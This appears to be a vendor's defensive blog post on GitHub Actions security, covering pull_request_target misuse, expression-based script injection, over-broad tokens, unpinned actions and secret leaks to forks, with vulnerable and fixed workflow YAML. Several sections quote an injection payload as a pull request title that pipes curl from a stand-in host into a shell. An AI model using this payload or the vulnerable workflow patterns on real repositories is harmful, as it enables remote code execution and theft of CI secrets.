A CI workflow is code that runs on every push, and like any code it can be tricked into doing something it should not. GitHub Actions security is about the gap between what a workflow author thinks a job does and what an attacker can make it do with a crafted pull request, branch name, or issue title. This post walks through the five ways a workflow on GitHub turns exploitable, shows a small vulnerable job, and gives the fix for each one.
Why GitHub Actions security is easy to get wrong
A workflow file looks like a config, so people read it like a config. But a job runs on a machine with a token, sometimes with your secrets in the environment, and it often runs code that came from outside your team. The moment untrusted input meets a privileged run step, you have a real vulnerability. The five patterns below cover most of what goes wrong.
- The
pull_request_targettrigger that runs with write access while checking out untrusted code. - Script injection through workflow expressions that paste attacker text into a shell.
- A
GITHUB_TOKENthat has far more permission than the job needs. - Third party actions pinned to a floating tag instead of a commit SHA.
- Secrets that leak to pull requests opened from forks.
The pull_request_target trap
The pull_request trigger runs in a restricted context: a fork’s pull request gets a read only token and no access to your secrets. That is the safe default. The pull_request_target trigger is different. It runs in the context of the base repository, so the job gets a read write token and can read your secrets, even when the pull request comes from a stranger’s fork.
That alone is fine, because pull_request_target checks out your trusted base branch by default. The danger is when a workflow uses that privileged trigger and then explicitly checks out the attacker’s code:
name: build-pr
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install && npm run build
Now the job runs a stranger’s npm install scripts with a write token and your secrets in reach. A malicious pull request ships a package.json install hook that reads GITHUB_TOKEN and pushes a commit, or exfiltrates a deploy key. This is the classic shape of poisoned pipeline execution, and you can read a deeper treatment in poisoned pipeline execution.
The fix
If the job does not need write access or secrets, use plain pull_request. If you genuinely need to run something privileged, split it: one unprivileged workflow builds the untrusted code and uploads an artifact, and a separate trusted workflow handles anything that touches secrets. Never check out and run fork code inside a pull_request_target job.
Script injection through workflow expressions
GitHub expands ${{ ... }} expressions before your shell ever sees the line. So this run step does not echo a variable. It pastes the raw title of the pull request straight into the script that runs on the runner:
- run: echo "New PR: ${{ github.event.pull_request.title }}"
An attacker sets the title of their pull request to something like a"; curl evil.example | sh; echo ". After expansion the runner executes an attacker chosen command. The same problem exists for any field a stranger controls: branch names, commit messages, issue bodies, review comments. These are all untrusted input that the expression engine will happily inline.
Any
${{ }}value that a person outside your team can set is untrusted input, and pasting it into a run step is the same class of bug as SQL injection.
The fix
Never inline an untrusted expression into a shell line. Bind it to an environment variable, then reference the variable with normal shell quoting so the value stays data and never becomes code:
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "New PR: $PR_TITLE"
Now GitHub sets PR_TITLE as a plain string in the environment. The shell reads it as one quoted value. The title a"; curl evil.example | sh; echo " is printed as text, not run.
Over broad GITHUB_TOKEN permissions
Every workflow run gets an automatic GITHUB_TOKEN. Depending on repository settings, its default scope can be read and write across the whole repository. A job that only needs to read code should not hold a token that can push branches, edit issues, or publish packages. If that job is ever compromised through one of the patterns above, the blast radius is whatever the token can do.
Set the permission to the least the job needs, at the top of the workflow or per job:
permissions:
contents: read
Start from nothing and add back only what a step actually uses. A job that comments on a pull request adds pull-requests: write and nothing else. This is the single change that limits damage when something else fails.
Unpinned third party actions
When you write uses: some/action@v3, the tag v3 is a moving pointer. The owner of that action, or anyone who compromises their account, can move v3 to point at new code, and your next run executes it with your token and secrets. You reviewed one version and silently got another.
Pin third party actions to a full commit SHA, which is immutable, and keep the tag in a comment for humans:
- uses: some/action@e3b0c44298fc1c149afbf4c8996fb924 # v3.1.0
A SHA cannot be moved under you. To stay current, let a bot open pull requests that bump the SHA, so every update is a diff you review before it runs. First party actions from actions/ carry less risk, but pinning them is still the safer habit.
Secrets exposed to forks
Secrets are the prize. A deploy key, a cloud credential, or a package registry token in a workflow environment is exactly what an attacker wants out of your CI. Two rules keep them safe. First, GitHub already withholds secrets from pull_request runs on forks, so do not defeat that by moving fork handling into pull_request_target. Second, treat every secret as reachable by any code the job runs, including dependency install scripts and third party actions, so never run untrusted code in a job that holds a secret.
Watch for the quieter leak too. A secret that gets committed to the repository, even briefly, lives on in the history where a workflow no longer guards it. For that problem see secrets in git history.
A short checklist
Here is a concrete before and after. The vulnerable job below uses the privileged trigger, inlines an untrusted title, and holds a wide token:
on: pull_request_target
jobs:
greet:
steps:
- run: echo "Thanks ${{ github.event.pull_request.title }}"
The fixed job drops the trigger, quotes the value through an env var, and narrows the token:
on: pull_request
permissions:
contents: read
jobs:
greet:
steps:
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Thanks $TITLE"
The habits that hold across all five patterns:
- Least privilege token. Default to
contents: readand add scopes one at a time. - Pin actions by SHA. Never trust a floating tag for third party code.
- Never mix untrusted code and secrets in the same job.
- Validate and quote inputs. Route every attacker controlled expression through an env var.
These same ideas apply to runners you host yourself, which have their own exposure covered in self-hosted runner security, and to the wider pipeline discussed in CI/CD pipeline security. For more teardowns of this kind, browse our deep dives.
Most of these bugs come from an assumption the workflow author never wrote down: that a title is just text, that a tag stays put, that a token is harmless. Testing the assumptions an application makes, rather than a fixed list of payloads, is exactly the kind of work an autonomous researcher is built for, and you can read how we think about it on our about page.
Frequently asked questions
What is the difference between pull_request and pull_request_target?
The pull_request trigger runs a fork’s code in a restricted context with a read only token and no secrets, which is the safe default. The pull_request_target trigger runs in the base repository context, so the job gets a read write token and can read your secrets even for a stranger’s pull request. It becomes dangerous when a workflow uses it and then checks out the fork’s untrusted code.
How does script injection happen in a GitHub Actions workflow?
GitHub expands ${{ ... }} expressions before the shell sees the line, so a run step that inlines ${{ github.event.pull_request.title }} pastes the raw title into the script. An attacker sets a title like a"; curl evil.example | sh; echo " and the runner executes their command. The fix is to bind the value to an environment variable and reference it with normal shell quoting so it stays data.
Why should I pin GitHub actions to a commit SHA instead of a tag?
A tag like v3 is a moving pointer. The action’s owner, or anyone who compromises their account, can move it to point at new code that runs with your token and secrets, so you review one version and get another. A full commit SHA is immutable and cannot be changed under you. Keep the tag in a comment and let a bot open pull requests that bump the SHA so every update is reviewed.
How do I stop GitHub Actions secrets from leaking to forks?
GitHub already withholds secrets from pull_request runs on forks, so do not defeat that by moving fork handling into pull_request_target. Treat every secret as reachable by any code the job runs, including dependency install scripts and third party actions, so never run untrusted code in a job that holds a secret. Also keep the automatic GITHUB_TOKEN scoped to the least the job needs.
Put an autonomous researcher on your own systems
UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.
